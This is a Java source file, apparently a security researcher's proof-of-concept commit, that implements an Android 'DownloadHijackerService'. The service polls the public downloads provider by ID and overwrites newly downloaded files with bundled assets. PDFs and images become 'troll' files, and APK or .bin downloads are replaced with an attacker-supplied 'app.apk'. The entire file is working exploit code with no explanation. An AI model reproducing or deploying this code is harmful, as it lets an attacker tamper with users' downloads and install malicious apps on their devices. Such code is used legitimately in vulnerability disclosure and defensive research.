1
+ package com .ioactive .downloadHijacker ;
2
+
3
+ import android .app .IntentService ;
4
+ import android .content .ContentResolver ;
5
+ import android .content .Intent ;
6
+ import android .content .res .AssetManager ;
7
+ import android .database .Cursor ;
8
+ import android .net .Uri ;
9
+ import android .os .ParcelFileDescriptor ;
10
+ import android .util .Log ;
11
+
12
+ import java .io .FileOutputStream ;
13
+ import java .io .IOException ;
14
+ import java .io .InputStream ;
15
+ import java .util .ArrayList ;
16
+
17
+ import static com .ioactive .downloadHijacker .MainActivity .PUBLIC_DOWNLOADS_ID_URI ;
18
+ import static com .ioactive .downloadHijacker .MainActivity .TAG ;
19
+
20
+ public class DownloadHijackerService extends IntentService {
21
+
22
+ // The service will stop automatically after "SERVICE_LIFETIME_MS" milliseconds
23
+ private static final int SERVICE_LIFETIME_MS = 5 * 60 * 1000 ;
24
+
25
+ // How many IDs to iterate starting from the last ID found
26
+ private static final int MONITOR_RANGE = 50 ;
27
+
28
+ private static final int FILE_PDF = 0 ;
29
+ private static final int FILE_PNG = 1 ;
30
+ private static final int FILE_JPG = 2 ;
31
+ private static final int FILE_GIF = 3 ;
32
+ private static final int FILE_APK = 4 ;
33
+
34
+ // Array containing input streams to overwrite the downloaded files with different formats
35
+ private static InputStream [] mOverwriteStreams = new InputStream [5 ];
36
+
37
+ // Dummy container for file descriptors, to keep a reference and avoid closing them
38
+ ArrayList <ParcelFileDescriptor > mFileDescriptors = new ArrayList <ParcelFileDescriptor >();
39
+
40
+ public DownloadHijackerService () {
41
+ super ("DownloadHijackerService" );
42
+ }
43
+
44
+ private void initializeInternalAssets () {
45
+ AssetManager assetManager = getAssets ();
46
+ try {
47
+ mOverwriteStreams [FILE_PDF ] = assetManager .open ("troll.pdf" );
48
+ mOverwriteStreams [FILE_PNG ] = assetManager .open ("troll.png" );
49
+ mOverwriteStreams [FILE_JPG ] = assetManager .open ("troll.jpg" );
50
+ mOverwriteStreams [FILE_GIF ] = assetManager .open ("troll.gif" );
51
+ mOverwriteStreams [FILE_APK ] = assetManager .open ("app.apk" );
52
+ } catch (IOException ex ) {
53
+ Log .e (TAG , "DownloadHijackerService: Error reading internal assets" , ex );
54
+ }
55
+ }
56
+
57
+ private static InputStream getOverwriteStreamByFileExtension (String filename ) {
58
+ if (filename != null && !filename .isEmpty ()) {
59
+ filename = filename .toLowerCase ();
60
+ if (filename .endsWith (".pdf" ))
61
+ return mOverwriteStreams [FILE_PDF ];
62
+ else if (filename .endsWith (".png" ))
63
+ return mOverwriteStreams [FILE_PNG ];
64
+ if (filename .endsWith (".jpg" ) || filename .endsWith (".jpeg" ))
65
+ return mOverwriteStreams [FILE_JPG ];
66
+ if (filename .endsWith (".gif" ))
67
+ return mOverwriteStreams [FILE_GIF ];
68
+ if (filename .endsWith (".apk" ) || filename .endsWith (".bin" ))
69
+ return mOverwriteStreams [FILE_APK ];
70
+ }
71
+ return null ;
72
+ }
73
+
74
+ @ Override
75
+ protected void onHandleIntent (Intent workIntent ) {
76
+ Log .d (TAG , "Starting download hijacker service..." );
77
+ //android.os.Process.setThreadPriority(-20);
78
+ initializeInternalAssets ();
79
+
80
+ int minId = workIntent .getIntExtra ("minId" , 0 );
81
+ int maxId = workIntent .getIntExtra ("maxId" , 1000 );
82
+ boolean closeFiles = workIntent .getBooleanExtra ("closeFiles" , false );
83
+ int lastId = 0 ;
84
+
85
+ // Try to find the last used identifier to optimize the monitored range
86
+ // and avoid overwriting preexisting files
87
+ ContentResolver res = this .getContentResolver ();
88
+ for (int id = minId ; id < maxId ; id ++) {
89
+ Uri uri = Uri .parse (PUBLIC_DOWNLOADS_ID_URI + id );
90
+ Cursor cur = res .query (uri , null , null , null , null );
91
+ try {
92
+ if (cur != null && cur .getCount () > 0 ) {
93
+ lastId = Math .max (id , lastId );
94
+ }
95
+ } finally {
96
+ if (cur != null )
97
+ cur .close ();
98
+ }
99
+ }
100
+
101
+ Log .d (TAG , "Service ready! Last download ID = " + lastId );
102
+ long tStart = System .currentTimeMillis ();
103
+
104
+ while (System .currentTimeMillis () < tStart + SERVICE_LIFETIME_MS ) {
105
+ for (int id = lastId + 1 ; id < lastId + MONITOR_RANGE ; id ++) {
106
+ Uri uri = Uri .parse (PUBLIC_DOWNLOADS_ID_URI + id );
107
+ Cursor cur = res .query (uri , null , null , null , null );
108
+
109
+ try {
110
+ if (cur != null && cur .getCount () > 0 ) {
111
+ cur .moveToFirst ();
112
+ String rowData = cur .getString (cur .getColumnIndex ("_data" ));
113
+ String rowUri = cur .getString (cur .getColumnIndex ("uri" ));
114
+ Log .d (TAG , id + " " + rowData + " " + rowUri );
115
+
116
+ InputStream is = getOverwriteStreamByFileExtension (rowData );
117
+ if (is != null ) {
118
+ try {
119
+ ParcelFileDescriptor f = res .openFileDescriptor (uri , "rwt" );
120
+ FileOutputStream fos = new FileOutputStream (f .getFileDescriptor ());
121
+ is .reset ();
122
+
123
+ byte [] buffer = new byte [1024 ];
124
+ int length ;
125
+ while ((length = is .read (buffer )) > 0 ) {
126
+ fos .write (buffer , 0 , length );
127
+ }
128
+
129
+ fos .flush ();
130
+
131
+ // Keeping a reference to the file descriptor to avoid closing it.
132
+ // If the file descriptor is closed, a bug in the media process will
133
+ // raise an exception attempting to update the download database with
134
+ // the new file size and modification timestamp.
135
+ if (closeFiles )
136
+ f .close ();
137
+ else
138
+ mFileDescriptors .add (f );
139
+
140
+ Log .d (TAG , "File overwritten: " + rowData );
141
+ lastId = Math .max (id , lastId );
142
+ } catch (Exception e ) {
143
+ Log .e (TAG , "Error overwriting file: " , e );
144
+ }
145
+ }
146
+ }
147
+ } catch (Exception e ) {
148
+ Log .e (TAG , "onHandleIntent: " , e );
149
+ } finally {
150
+ if (cur != null )
151
+ cur .close ();
152
+ }
153
+ }
154
+ }
155
+
156
+ Log .d (TAG , "Download hijacker service stopped." );
157
+ stopSelf ();
158
+ }
159
+ }
0 commit comments